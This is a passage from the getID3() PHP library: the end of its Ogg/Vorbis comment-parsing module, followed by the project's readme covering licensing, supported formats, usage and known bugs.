			$ThisFileInfo_ogg_comments_raw[$i]['size'] = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));

			// replace avdataoffset with position just after the last vorbiscomment
			$info['avdataoffset'] = $ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + $ThisFileInfo_ogg_comments_raw[$i]['size'] + 4;

			$commentdataoffset += 4;
			while ((strlen($commentdata) - $commentdataoffset) < $ThisFileInfo_ogg_comments_raw[$i]['size']) {
				if (($ThisFileInfo_ogg_comments_raw[$i]['size'] > $info['avdataend']) || ($ThisFileInfo_ogg_comments_raw[$i]['size'] < 0)) {
					$this->warning('Invalid Ogg comment size (comment #'.$i.', claims to be '.number_format($ThisFileInfo_ogg_comments_raw[$i]['size']).' bytes) - aborting reading comments');
					break 2;
				}

				$VorbisCommentPage++;

				if ($oggpageinfo = $this->ParseOggPageHeader()) {
					$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;

					// First, save what we haven't read yet
					$AsYetUnusedData = substr($commentdata, $commentdataoffset);

					// Then take that data off the end
					$commentdata     = substr($commentdata, 0, $commentdataoffset);

					// Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct
					$commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);
					$commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);

					// Finally, stick the unused data back on the end
					$commentdata .= $AsYetUnusedData;

					//$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
					if (!isset($info['ogg']['pageheader'][$VorbisCommentPage])) {
						$this->warning('undefined Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell());
						break;
					}
					$readlength = self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1);
					if ($readlength <= 0) {
						$this->warning('invalid length Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell());
						break;
					}
					$commentdata .= $this->fread($readlength);

					//$filebaseoffset += $oggpageinfo['header_end_offset'] - $oggpageinfo['page_start_offset'];
				} else {
					$this->warning('failed to ParseOggPageHeader() at offset '.$this->ftell());
					break;
				}
			}
			$ThisFileInfo_ogg_comments_raw[$i]['offset'] = $commentdataoffset;
			$commentstring = substr($commentdata, $commentdataoffset, $ThisFileInfo_ogg_comments_raw[$i]['size']);
			$commentdataoffset += $ThisFileInfo_ogg_comments_raw[$i]['size'];

			if (!$commentstring) {

				// no comment?
				$this->warning('Blank Ogg comment ['.$i.']');

			} elseif (strstr($commentstring, '=')) {

				$commentexploded = explode('=', $commentstring, 2);
				$ThisFileInfo_ogg_comments_raw[$i]['key']   = strtoupper($commentexploded[0]);
				$ThisFileInfo_ogg_comments_raw[$i]['value'] = (isset($commentexploded[1]) ? $commentexploded[1] : '');

				if ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'METADATA_BLOCK_PICTURE') {

					// http://wiki.xiph.org/VorbisComment#METADATA_BLOCK_PICTURE
					// The unencoded format is that of the FLAC picture block. The fields are stored in big endian order as in FLAC, picture data is stored according to the relevant standard.
					// http://flac.sourceforge.net/format.html#metadata_block_picture
					$flac = new getid3_flac($this->getid3);
					$flac->setStringMode(base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']));
					$flac->parsePICTURE();
					$info['ogg']['comments']['picture'][] = $flac->getid3->info['flac']['PICTURE'][0];
					unset($flac);

				} elseif ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'COVERART') {

					$data = base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']);
					$this->notice('Found deprecated COVERART tag, it should be replaced in honor of METADATA_BLOCK_PICTURE structure');
					/** @todo use 'coverartmime' where available */
					$imageinfo = getid3_lib::GetDataImageSize($data);
					if ($imageinfo === false || !isset($imageinfo['mime'])) {
						$this->warning('COVERART vorbiscomment tag contains invalid image');
						continue;
					}

					$ogg = new self($this->getid3);
					$ogg->setStringMode($data);
					$info['ogg']['comments']['picture'][] = array(
						'image_mime'   => $imageinfo['mime'],
						'datalength'   => strlen($data),
						'picturetype'  => 'cover art',
						'image_height' => $imageinfo['height'],
						'image_width'  => $imageinfo['width'],
						'data'         => $ogg->saveAttachment('coverart', 0, strlen($data), $imageinfo['mime']),
					);
					unset($ogg);

				} else {

					$info['ogg']['comments'][strtolower($ThisFileInfo_ogg_comments_raw[$i]['key'])][] = $ThisFileInfo_ogg_comments_raw[$i]['value'];

				}

			} else {

				$this->warning('[known problem with CDex >= v1.40, < v1.50b7] Invalid Ogg comment name/value pair ['.$i.']: '.$commentstring);

			}
			unset($ThisFileInfo_ogg_comments_raw[$i]);
		}
		unset($ThisFileInfo_ogg_comments_raw);


		// Replay Gain Adjustment
		// http://privatewww.essex.ac.uk/~djmrob/replaygain/
		if (isset($info['ogg']['comments']) && is_array($info['ogg']['comments'])) {
			foreach ($info['ogg']['comments'] as $index => $commentvalue) {
				switch ($index) {
					case 'rg_audiophile':
					case 'replaygain_album_gain':
						$info['replay_gain']['album']['adjustment'] = (float) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					case 'rg_radio':
					case 'replaygain_track_gain':
						$info['replay_gain']['track']['adjustment'] = (float) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					case 'replaygain_album_peak':
						$info['replay_gain']['album']['peak'] = (float) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					case 'rg_peak':
					case 'replaygain_track_peak':
						$info['replay_gain']['track']['peak'] = (float) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					case 'replaygain_reference_loudness':
						$info['replay_gain']['reference_volume'] = (float) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					default:
						// do nothing
						break;
				}
			}
		}

		$this->fseek($OriginalOffset);

		return true;
	}

	/**
	 * @param int $mode
	 *
	 * @return string|null
	 */
	public static function SpeexBandModeLookup($mode) {
		static $SpeexBandModeLookup = array();
		if (empty($SpeexBandModeLookup)) {
			$SpeexBandModeLookup[0] = 'narrow';
			$SpeexBandModeLookup[1] = 'wide';
			$SpeexBandModeLookup[2] = 'ultra-wide';
		}
		return (isset($SpeexBandModeLookup[$mode]) ? $SpeexBandModeLookup[$mode] : null);
	}

	/**
	 * @param array $OggInfoArray
	 * @param int   $SegmentNumber
	 *
	 * @return int
	 */
	public static function OggPageSegmentLength($OggInfoArray, $SegmentNumber=1) {
		$segmentlength = 0;
		for ($i = 0; $i < $SegmentNumber; $i++) {
			$segmentlength = 0;
			foreach ($OggInfoArray['segment_table'] as $key => $value) {
				$segmentlength += $value;
				if ($value < 255) {
					break;
				}
			}
		}
		return $segmentlength;
	}

	/**
	 * @param int $nominal_bitrate
	 *
	 * @return float
	 */
	public static function get_quality_from_nominal_bitrate($nominal_bitrate) {

		// decrease precision
		$nominal_bitrate = $nominal_bitrate / 1000;

		if ($nominal_bitrate < 128) {
			// q-1 to q4
			$qval = ($nominal_bitrate - 64) / 16;
		} elseif ($nominal_bitrate < 256) {
			// q4 to q8
			$qval = $nominal_bitrate / 32;
		} elseif ($nominal_bitrate < 320) {
			// q8 to q9
			$qval = ($nominal_bitrate + 256) / 64;
		} else {
			// q9 to q10
			$qval = ($nominal_bitrate + 1300) / 180;
		}
		//return $qval; // 5.031324
		//return intval($qval); // 5
		return round($qval, 1); // 5 or 4.9
	}

	/**
	 * @param int $colorspace_id
	 *
	 * @return string|null
	 */
	public static function TheoraColorSpace($colorspace_id) {
		// http://www.theora.org/doc/Theora.pdf (table 6.3)
		static $TheoraColorSpaceLookup = array();
		if (empty($TheoraColorSpaceLookup)) {
			$TheoraColorSpaceLookup[0] = 'Undefined';
			$TheoraColorSpaceLookup[1] = 'Rec. 470M';
			$TheoraColorSpaceLookup[2] = 'Rec. 470BG';
			$TheoraColorSpaceLookup[3] = 'Reserved';
		}
		return (isset($TheoraColorSpaceLookup[$colorspace_id]) ? $TheoraColorSpaceLookup[$colorspace_id] : null);
	}

	/**
	 * @param int $pixelformat_id
	 *
	 * @return string|null
	 */
	public static function TheoraPixelFormat($pixelformat_id) {
		// http://www.theora.org/doc/Theora.pdf (table 6.4)
		static $TheoraPixelFormatLookup = array();
		if (empty($TheoraPixelFormatLookup)) {
			$TheoraPixelFormatLookup[0] = '4:2:0';
			$TheoraPixelFormatLookup[1] = 'Reserved';
			$TheoraPixelFormatLookup[2] = '4:2:2';
			$TheoraPixelFormatLookup[3] = '4:4:4';
		}
		return (isset($TheoraPixelFormatLookup[$pixelformat_id]) ? $TheoraPixelFormatLookup[$pixelformat_id] : null);
	}

}
PKE]>offf
readme.txtnuW+A/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or https://www.getid3.org                        //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////

*****************************************************************
*****************************************************************

   getID3() is released under multiple licenses. You may choose
   from the following licenses, and use getID3 according to the
   terms of the license most suitable to your project.

GNU GPL: https://gnu.org/licenses/gpl.html                   (v3)
         https://gnu.org/licenses/old-licenses/gpl-2.0.html  (v2)
         https://gnu.org/licenses/old-licenses/gpl-1.0.html  (v1)

GNU LGPL: https://gnu.org/licenses/lgpl.html                 (v3)

Mozilla MPL: https://www.mozilla.org/MPL/2.0/                (v2)

getID3 Commercial License: https://www.getid3.org/#gCL
(no longer available, existing licenses remain valid)

*****************************************************************
*****************************************************************
Copies of each of the above licenses are included in the 'licenses'
directory of the getID3 distribution.


       +----------------------------------------------+
       | If you want to donate, there is a link on    |
       | https://www.getid3.org for PayPal donations. |
       +----------------------------------------------+


Quick Start
===========================================================================

Q: How can I check that getID3() works on my server/files?
A: Unzip getID3() to a directory, then access /demos/demo.browse.php



Support
===========================================================================

Q: I have a question, or I found a bug. What do I do?
A: The preferred method of support requests and/or bug reports is the
   forum at http://support.getid3.org/



Sourceforge Notification
===========================================================================

It's highly recommended that you sign up for notification from
Sourceforge for when new versions are released. Please visit:
http://sourceforge.net/project/showfiles.php?group_id=55859
and click the little "monitor package" icon/link.  If you're
previously signed up for the mailing list, be aware that it has
been discontinued, only the automated Sourceforge notification
will be used from now on.



What does getID3() do?
===========================================================================

Reads & parses (to varying degrees):
 ¤ tags:
  * APE (v1 and v2)
  * ID3v1 (& ID3v1.1)
  * ID3v2 (v2.4, v2.3, v2.2)
  * Lyrics3 (v1 & v2)

 ¤ audio-lossy:
  * MP3/MP2/MP1
  * MPC / Musepack
  * Ogg (Vorbis, OggFLAC, Speex, Opus)
  * AAC / MP4
  * AC3
  * DTS
  * RealAudio
  * Speex
  * DSS
  * VQF

 ¤ audio-lossless:
  * AIFF
  * AU
  * Bonk
  * CD-audio (*.cda)
  * FLAC
  * LA (Lossless Audio)
  * LiteWave
  * LPAC
  * MIDI
  * Monkey's Audio
  * OptimFROG
  * RKAU
  * Shorten
  * TTA
  * VOC
  * WAV (RIFF)
  * WavPack

 ¤ audio-video:
  * ASF: ASF, Windows Media Audio (WMA), Windows Media Video (WMV)
  * AVI (RIFF)
  * Flash
  * Matroska (MKV)
  * MPEG-1 / MPEG-2
  * NSV (Nullsoft Streaming Video)
  * Quicktime (including MP4)
  * RealVideo

 ¤ still image:
  * BMP
  * GIF
  * JPEG
  * PNG
  * TIFF
  * SWF (Flash)
  * PhotoCD

 ¤ data:
  * ISO-9660 CD-ROM image (directory structure)
  * SZIP (limited support)
  * ZIP (directory structure)
  * TAR
  * CUE


Writes:
  * ID3v1 (& ID3v1.1)
  * ID3v2 (v2.3 & v2.4)
  * VorbisComment on OggVorbis
  * VorbisComment on FLAC (not OggFLAC)
  * APE v2
  * Lyrics3 (delete only)



Requirements
===========================================================================

* PHP 4.2.0 up to 5.2.x for getID3() 1.7.x  (and earlier)
* PHP 5.0.5 (or higher) for getID3() 1.8.x  (and up)
* PHP 5.3.0 (or higher) for getID3() 1.9.17 (and up)
* PHP 5.3.0 (or higher) for getID3() 2.0.x  (and up)
* at least 4MB memory for PHP. 8MB or more is highly recommended.
  12MB is required with all modules loaded.



Usage
===========================================================================

See /demos/demo.basic.php for a very basic use of getID3() with no
fancy output, just scanning one file.

See structure.txt for the returned data structure.

*>  For an example of a complete directory-browsing,       <*
*>  file-scanning implementation of getID3(), please run   <*
*>  /demos/demo.browse.php                                 <*

See /demos/demo.mysql.php for a sample recursive scanning code that
scans every file in a given directory, and all sub-directories, stores
the results in a database and allows various analysis / maintenance
operations

To analyze remote files over HTTP or FTP you need to copy the file
locally first before running getID3(). Your code would look something
like this:

// Copy remote file locally to scan with getID3()
$remotefilename = 'http://www.example.com/filename.mp3';
if ($fp_remote = fopen($remotefilename, 'rb')) {
	$localtempfilename = tempnam('/tmp', 'getID3');
	if ($fp_local = fopen($localtempfilename, 'wb')) {
		while ($buffer = fread($fp_remote, 32768)) {
			fwrite($fp_local, $buffer);
		}
		fclose($fp_local);

		$remote_headers = array_change_key_case(get_headers($remotefilename, 1), CASE_LOWER);
		$remote_filesize = (isset($remote_headers['content-length']) ? (is_array($remote_headers['content-length']) ? $remote_headers['content-length'][count($remote_headers['content-length']) - 1] : $remote_headers['content-length']) : null);

		// Initialize getID3 engine
		$getID3 = new getID3;

		$ThisFileInfo = $getID3->analyze($localtempfilename, $remote_filesize, basename($remotefilename));

		// Delete temporary file
		unlink($localtempfilename);
	}
	fclose($fp_remote);
}

Note: since v1.9.9-20150212 it is possible a second and third parameter
to $getID3->analyze(), for original filesize and original filename
respectively. This permits you to download only a portion of a large remote
file but get accurate playtime estimates, assuming the format only requires
the beginning of the file for correct format analysis.

See /demos/demo.write.php for how to write tags.



What does the returned data structure look like?
===========================================================================

See structure.txt

It is recommended that you look at the output of
/demos/demo.browse.php scanning the file(s) you're interested in to
confirm what data is actually returned for any particular filetype in
general, and your files in particular, as the actual data returned
may vary considerably depending on what information is available in
the file itself.



Notes
===========================================================================

getID3() 1.x:
If the format parser encounters a critical problem, it will return
something in $fileinfo['error'], describing the encountered error. If
a less critical error or notice is generated it will appear in
$fileinfo['warning']. Both keys may contain more than one warning or
error. If something is returned in ['error'] then the file was not
correctly parsed and returned data may or may not be correct and/or
complete. If something is returned in ['warning'] (and not ['error'])
then the data that is returned is OK - usually getID3() is reporting
errors in the file that have been worked around due to known bugs in
other programs. Some warnings may indicate that the data that is
returned is OK but that some data could not be extracted due to
errors in the file.

getID3() 2.x:
See above except errors are thrown (so you will only get one error).



Disclaimer
===========================================================================

getID3() has been tested on many systems, on many types of files,
under many operating systems, and is generally believe to be stable
and safe. That being said, there is still the chance there is an
undiscovered and/or unfixed bug that may potentially corrupt your
file, especially within the writing functions. By using getID3() you
agree that it's not my fault if any of your files are corrupted.
In fact, I'm not liable for anything :)



License
===========================================================================

GNU General Public License - see license.txt

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to:
Free Software Foundation, Inc.
59 Temple Place - Suite 330
Boston, MA  02111-1307, USA.

FAQ:
Q: Can I use getID3() in my program? Do I need a commercial license?
A: You're generally free to use getID3 however you see fit. The only
   case in which you would require a commercial license is if you're
   selling your closed-source program that integrates getID3. If you
   sell your program including a copy of getID3, that's fine as long
   as you include a copy of the sourcecode when you sell it.  Or you
   can distribute your code without getID3 and say "download it from
   getid3.sourceforge.net"



Why is it called "getID3()" if it does so much more than just that?
===========================================================================

v0.1 did in fact just do that. I don't have a copy of code that old, but I
could essentially write it today with a one-line function:
  function getID3($filename) { return unpack('a3TAG/a30title/a30artist/a30album/a4year/a28comment/c1track/c1genreid', substr(file_get_contents($filename), -128)); }


Future Plans
===========================================================================
https://www.getid3.org/phpBB3/viewforum.php?f=7

* Better support for MP4 container format
* Scan for appended ID3v2 tag at end of file per ID3v2.4 specs (Section 5.0)
* Support for JPEG-2000 (http://www.morgan-multimedia.com/jpeg2000_overview.htm)
* Support for MOD (mod/stm/s3m/it/xm/mtm/ult/669)
* Support for ACE (thanks Vince)
* Support for Ogg other than Vorbis, Speex and OggFlac (ie. Ogg+Xvid)
* Ability to create Xing/LAME VBR header for VBR MP3s that are missing VBR header
* Ability to "clean" ID3v2 padding (replace invalid padding with valid padding)
* Warn if MP3s change version mid-stream (in full-scan mode)
* check for corrupt/broken mid-file MP3 streams in histogram scan
* Support for lossless-compression formats
  (http://www.firstpr.com.au/audiocomp/lossless/#Links)
  (http://compression.ca/act-sound.html)
  (http://web.inter.nl.net/users/hvdh/lossless/lossless.htm)
* Support for RIFF-INFO chunks
  * http://lotto.st-andrews.ac.uk/~njh/tag_interchange.html
    (thanks Nick Humfrey <njhØsurgeradio*co*uk>)
  * http://abcavi.narod.ru/sof/abcavi/infotags.htm
    (thanks Kibi)
* Better support for Bink video
* http://www.hr/josip/DSP/AudioFile2.html
* http://www.pcisys.net/~melanson/codecs/
* Detect mp3PRO
* Support for PSD
* Support for JPC
* Support for JP2
* Support for JPX
* Support for JB2
* Support for IFF
* Support for ICO
* Support for ANI
* Support for EXE (comments, author, etc) (thanks p*quaedackersØplanet*nl)
* Support for DVD-IFO (region, subtitles, aspect ratio, etc)
  (thanks p*quaedackersØplanet*nl)
* More complete support for SWF - parsing encapsulated MP3 and/or JPEG content
    (thanks n8n8Øyahoo*com)
* Support for a2b
* Optional scan-through-frames for AVI verification
  (thanks rockcohenØmassive-interactive*nl)
* Support for TTF (thanks infoØbutterflyx*com)
* Support for DSS (https://www.getid3.org/phpBB3/viewtopic.php?t=171)
* Support for SMAF (http://smaf-yamaha.com/what/demo.html)
  https://www.getid3.org/phpBB3/viewtopic.php?t=182
* Support for AMR (https://www.getid3.org/phpBB3/viewtopic.php?t=195)
* Support for 3gpp (https://www.getid3.org/phpBB3/viewtopic.php?t=195)
* Support for ID4 (http://www.wackysoft.cjb.net grizlyY2KØhotmail*com)
* Parse XML data returned in Ogg comments
* Parse XML data from Quicktime SMIL metafiles (klausrathØmac*com)
* ID3v2 genre string creator function
* More complete parsing of JPG
* Support for all old-style ASF packets
* ASF/WMA/WMV tag writing
* Parse declared T??? ID3v2 text information frames, where appropriate
    (thanks Christian Fritz for the idea)
* Recognize encoder:
  http://www.guerillasoft.com/EncSpot2/index.html
  http://ff123.net/identify.html
  http://www.hydrogenaudio.org/?act=ST&f=16&t=9414
  http://www.hydrogenaudio.org/?showtopic=11785
* Support for other OS/2 bitmap structures: Bitmap Array('BA'),
  Color Icon('CI'), Color Pointer('CP'), Icon('IC'), Pointer ('PT')
  http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm
* Support for WavPack RAW mode
* ASF/WMA/WMV data packet parsing
* ID3v2FrameFlagsLookupTagAlter()
* ID3v2FrameFlagsLookupFileAlter()
* obey ID3v2 tag alter/preserve/discard rules
* http://www.geocities.com/SiliconValley/Sector/9654/Softdoc/Illyrium/Aolyr.htm
* proper checking for LINK/LNK frame validity in ID3v2 writing
* proper checking for ASPI-TLEN frame validity in ID3v2 writing
* proper checking for COMR frame validity in ID3v2 writing
* http://www.geocities.co.jp/SiliconValley-Oakland/3664/index.html
* decode GEOB ID3v2 structure as encoded by RealJukebox,
  decode NCON ID3v2 structure as encoded by MusicMatch
  (probably won't happen - the formats are proprietary)



Known Bugs/Issues in getID3() that may be fixed eventually
===========================================================================
https://www.getid3.org/phpBB3/viewtopic.php?t=25

* Cannot determine bitrate for MPEG video with VBR video data
  (need documentation)
* Interlace/progressive cannot be determined for MPEG video
  (need documentation)
* MIDI playtime is sometimes inaccurate
* AAC-RAW mode files cannot be identified
* WavPack-RAW mode files cannot be identified
* mp4 files report lots of "Unknown QuickTime atom type"
   (need documentation)
* Encrypted ASF/WMA/WMV files warn about "unhandled GUID
  ASF_Content_Encryption_Object"
* Bitrate split between audio and video cannot be calculated for
  NSV, only the total bitrate. (need documentation)
* All Ogg formats (Vorbis, OggFLAC, Speex) are affected by the
  problem of large VorbisComments spanning multiple Ogg pages, but
  but only OggVorbis files can be processed with vorbiscomment.
* The version of "head" supplied with Mac OS 10.2.8 (maybe other
  versions too) does only understands a single option (-n) and
  therefore fails. getID3 ignores this and returns wrong md5_data.



Known Bugs/Issues in getID3() that cannot be fixed
--------------------------------------------------
https://www.getid3.org/phpBB3/viewtopic.php?t=25

* 32-bit PHP installations only:
  Files larger than 2GB cannot always be parsed fully by getID3()
  due to limitations in the 32-bit PHP filesystem functions.
  NOTE: Since v1.7.8b3 there is partial support for larger-than-
  2GB files, most of which will parse OK, as long as no critical
  data is located beyond the 2GB offset.
  Known will-work:
  * all file formats on 64-bit PHP
  * ZIP  (format doesn't support files >2GB)
  * FLAC (current encoders don't support files >2GB)
  Known will-not-work:
  * ID3v1 tags (always located at end-of-file)
  * Lyrics3 tags (always located at end-of-file)
  * APE tags (always located at end-of-file)
  Maybe-will-work:
  * Quicktime (will work if needed metadata is before 2GB offset,
    that is if the file has been hinted/optimized for streaming)
  * RIFF.WAV (should work fine, but gives warnings about not being
    able to parse all chunks)
  * RIFF.AVI (playtime will probably be wrong, is only based on
    "movi" chunk that fits in the first 2GB, should issue error
    to show that playtime is incorrect. Other data should be mostly
    correct, assuming that data is constant throughout the file)
* PHP <= v5 on Windows cannot read UTF-8 filenames


Known Bugs/Issues in other programs
-----------------------------------
https://www.getid3.org/phpBB3/viewtopic.php?t=25

* MusicBrainz Picard (at least up to v1.3.2) writes multiple
  ID3v2.3 genres in non-standard forward-slash separated text
  rather than parenthesis-numeric+refinement style per the ID3v2.3
  specs. Tags written in ID3v2.4 mode are written correctly.
  (detected and worked around by getID3())
* PZ TagEditor v4.53.408 has been known to insert ID3v2.3 frames
  into an existing ID3v2.2 tag which, of course, breaks things
* Windows Media Player (up to v11) and iTunes (up to v10+) do
    not correctly handle ID3v2.3 tags with UTF-16BE+BOM
    encoding (they assume the data is UTF-16LE+BOM and either
    crash (WMP) or output Asian character set (iTunes)
* Winamp (up to v2.80 at least) does not support ID3v2.4 tags,
    only ID3v2.3
    see: http://forums.winamp.com/showthread.php?postid=387524
* Some versions of Helium2 (www.helium2.com) do not write
    ID3v2.4-compliant Frame Sizes, even though the tag is marked
    as ID3v2.4)  (detected by getID3())
* MP3ext V3.3.17 places a non-compliant padding string at the end
    of the ID3v2 header. This is supposedly fixed in v3.4b21 but
    only if you manually add a registry key. This fix is not yet
    confirmed.  (detected by getID3())
* CDex v1.40 (fixed by v1.50b7) writes non-compliant Ogg comment
    strings, supposed to be in the format "NAME=value" but actually
    written just "value"  (detected by getID3())
* Oggenc 0.9-rc3 flags the encoded file as ABR whether it's
    actually ABR or VBR.
* iTunes (versions "v7.0.0.70" is known-guilty, probably
    other versions are too) writes ID3v2.3 comment tags using an
    ID3v2.2 frame name (3-bytes) null-padded to 4 bytes which is
    not valid for ID3v2.3+
    (detected by getID3() since 1.9.12-201603221746)
* iTunes (versions "X v2.0.3", "v3.0.1" are known-guilty, probably
    other versions are too) writes ID3v2.3 comment tags using a
    frame name 'COM ' which is not valid for ID3v2.3+ (it's an
    ID3v2.2-style frame name)  (detected by getID3())
* MP2enc does not encode mono CBR MP2 files properly (half speed
    sound and double playtime)
* MP2enc does not encode mono VBR MP2 files properly (actually
    encoded as stereo)
* tooLAME does not encode mono VBR MP2 files properly (actually
    encoded as stereo)
* AACenc encodes files in VBR mode (actually ABR) even if CBR is
   specified
* AAC/ADIF - bitrate_mode = cbr for vbr files
* LAME 3.90-3.92 prepends one frame of null data (space for the
  LAME/VBR header, but it never gets written) when encoding in CBR
  mode with the DLL
* Ahead Nero encodes TwinVQF with a DSIZ value (which is supposed
  to be the filesize in bytes) of "0" for TwinVQF v1.0 and "1" for
  TwinVQF v2.0  (detected by getID3())
* Ahead Nero encodes TwinVQF files 1 second shorter than they
  should be
* AAC-ADTS files are always actually encoded VBR, even if CBR mode
  is specified (the CBR-mode switches on the encoder enable ABR
  mode, not CBR as such, but it's not possible to tell the
  difference between such ABR files and true VBR)
* STREAMINFO.audio_signature in OggFLAC is always null. "The reason
  it's like that is because there is no seeking support in
  libOggFLAC yet, so it has no way to go back and write the
  computed sum after encoding. Seeking support in Ogg FLAC is the
  #1 item for the next release." - Josh Coalson (FLAC developer)
  NOTE: getID3() will calculate md5_data in a method similar to
  other file formats, but that value cannot be compared to the
  md5_data value from FLAC data in a FLAC file format.
* STREAMINFO.audio_signature is not calculated in FLAC v0.3.0 &
  v0.4.0 - getID3() will calculate md5_data in a method similar to
  other file formats, but that value cannot be compared to the
  md5_data value from FLAC v0.5.0+
* RioPort (various versions including 2.0 and 3.11) tags ID3v2 with
  a WCOM frame that has no data portion
* Earlier versions of Coolplayer adds illegal ID3 tags to Ogg Vorbis
  files, thus making them corrupt.
* Meracl ID3 Tag Writer v1.3.4 (and older) incorrectly truncates the
  last byte of data from an MP3 file when appending a new ID3v1 tag.
  (detected by getID3())
* Lossless-Audio files encoded with and without the -noseek switch
  do actually differ internally and therefore cannot match md5_data
* iTunes has been known to append a new ID3v1 tag on the end of an
  existing ID3v1 tag when ID3v2 tag is also present
  (detected by getID3())
* MediaMonkey may write a blank RGAD ID3v2 frame but put actual
  replay gain adjustments in a series of user-defined TXXX frames
  (detected and handled by getID3() since v1.9.2)




Reference material:
===========================================================================

[www.id3.org material now mirrored at http://id3lib.sourceforge.net/id3/]
* http://www.id3.org/id3v2.4.0-structure.txt
* http://www.id3.org/id3v2.4.0-frames.txt
* http://www.id3.org/id3v2.4.0-changes.txt
* http://www.id3.org/id3v2.3.0.txt
* http://www.id3.org/id3v2-00.txt
* http://www.id3.org/mp3frame.html
* http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html <mathewhendry@hotmail.com>
* http://www.dv.co.yu/mpgscript/mpeghdr.htm
* http://www.mp3-tech.org/programmer/frame_header.html
* http://users.belgacom.net/gc247244/extra/tag.html
* http://gabriel.mp3-tech.org/mp3infotag.html
* http://www.id3.org/iso4217.html
* http://www.unicode.org/Public/MAPPINGS/ISO8859/8859-1.TXT
* http://www.xiph.org/ogg/vorbis/doc/framing.html
* http://www.xiph.org/ogg/vorbis/doc/v-comment.html
* http://leknor.com/code/php/class.ogg.php.txt
* http://www.id3.org/iso639-2.html
* http://www.id3.org/lyrics3.html
* http://www.id3.org/lyrics3200.html
* http://www.psc.edu/general/software/packages/ieee/ieee.html
* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html
* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
* http://www.jmcgowan.com/avi.html
* http://www.wotsit.org/
* http://www.herdsoft.com/ti/davincie/davp3xo2.htm
* http://www.mathdogs.com/vorbis-illuminated/bitstream-appendix.html
* "Standard MIDI File Format" by Dustin Caldwell (from www.wotsit.org)
* http://midistudio.com/Help/GMSpecs_Patches.htm
* http://www.xiph.org/archives/vorbis/200109/0459.html
* http://www.replaygain.org/
* http://www.lossless-audio.com/
* http://download.microsoft.com/download/winmediatech40/Doc/1.0/WIN98MeXP/EN-US/ASF_Specification_v.1.0.exe
* http://mediaxw.sourceforge.net/files/doc/Active%20Streaming%20Format%20(ASF)%201.0%20Specification.pdf
* http://www.uni-jena.de/~pfk/mpp/sv8/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/sv8/)
* http://jfaul.de/atl/
* http://www.uni-jena.de/~pfk/mpp/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/)
* http://www.libpng.org/pub/png/spec/png-1.2-pdg.html
* http://www.real.com/devzone/library/creating/rmsdk/doc/rmff.htm
* http://www.fastgraph.com/help/bmp_os2_header_format.html
* http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm
* http://flac.sourceforge.net/format.html
* http://www.research.att.com/projects/mpegaudio/mpeg2.html
* http://www.audiocoding.com/wiki/index.php?page=AAC
* http://libmpeg.org/mpeg4/doc/w2203tfs.pdf
* http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt
* http://developer.apple.com/techpubs/quicktime/qtdevdocs/RM/frameset.htm
* http://www.nullsoft.com/nsv/
* http://www.wotsit.org/download.asp?f=iso9660
* http://sandbox.mc.edu/~bennet/cs110/tc/tctod.html
* http://www.cdroller.com/htm/readdata.html
* http://www.speex.org/manual/node10.html
* http://www.harmony-central.com/Computer/Programming/aiff-file-format.doc
* http://www.faqs.org/rfcs/rfc2361.html
* http://ghido.shelter.ro/
* http://www.ebu.ch/tech_t3285.pdf
* http://www.sr.se/utveckling/tu/bwf
* http://ftp.aessc.org/pub/aes46-2002.pdf
* http://cartchunk.org:8080/
* http://www.broadcastpapers.com/radio/cartchunk01.htm
* http://www.hr/josip/DSP/AudioFile2.html
* http://home.attbi.com/~chris.bagwell/AudioFormats-11.html
* http://www.pure-mac.com/extkey.html
* http://cesnet.dl.sourceforge.net/sourceforge/bonkenc/bonk-binary-format-0.9.txt
* http://www.headbands.com/gspot/
* http://www.openswf.org/spec/SWFfileformat.html
* http://j-faul.virtualave.net/
* http://www.btinternet.com/~AnthonyJ/Atari/programming/avr_format.html
* http://cui.unige.ch/OSG/info/AudioFormats/ap11.html
* http://sswf.sourceforge.net/SWFalexref.html
* http://www.geocities.com/xhelmboyx/quicktime/formats/qti-layout.txt
* http://www-lehre.informatik.uni-osnabrueck.de/~fbstark/diplom/docs/swf/Flash_Uncovered.htm
* http://developer.apple.com/quicktime/icefloe/dispatch012.html
* http://www.csdn.net/Dev/Format/graphics/PCD.htm
* http://tta.iszf.irk.ru/
